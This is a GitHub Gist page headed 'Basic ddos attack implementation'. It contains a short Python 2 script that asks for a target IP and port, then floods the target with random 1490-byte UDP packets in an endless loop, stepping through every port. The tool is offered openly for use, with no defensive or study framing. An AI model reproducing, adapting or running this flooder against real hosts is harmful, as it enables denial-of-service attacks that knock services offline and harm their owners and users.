Created
April 29, 2021 11:25
-
-
Save Bhavesh0327/30c1b83308fae6f89dfdf4011a4d1473 to your computer and use it in GitHub Desktop.
Basic ddos attack implementation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import os | |
import time | |
import socket | |
import random | |
#Code Time | |
from datetime import datetime | |
now = datetime.now() | |
hour = now.hour | |
minute = now.minute | |
day = now.day | |
month = now.month | |
year = now.year | |
############## | |
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
bytes = random._urandom(1490) | |
############# | |
os.system("clear") | |
os.system("figlet DDos Attack") | |
print "Author : Bhavesh0327" | |
print "github : https://github.com/bhavesh0327" | |
ip = raw_input("IP Target : ") | |
port = input("Port : ") | |
os.system("clear") | |
os.system("figlet Attack Starting") | |
print "[ ] 0% " | |
time.sleep(5) | |
print "[===== ] 25%" | |
time.sleep(5) | |
print "[========== ] 50%" | |
time.sleep(5) | |
print "[=============== ] 75%" | |
time.sleep(5) | |
print "[====================] 100%" | |
time.sleep(3) | |
sent = 0 | |
while True: | |
sock.sendto(bytes, (ip,port)) | |
sent = sent + 1 | |
port = port + 1 | |
print "Sent %s packet to %s throught port:%s"%(sent,ip,port) | |
if port == 65534: | |
port = 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment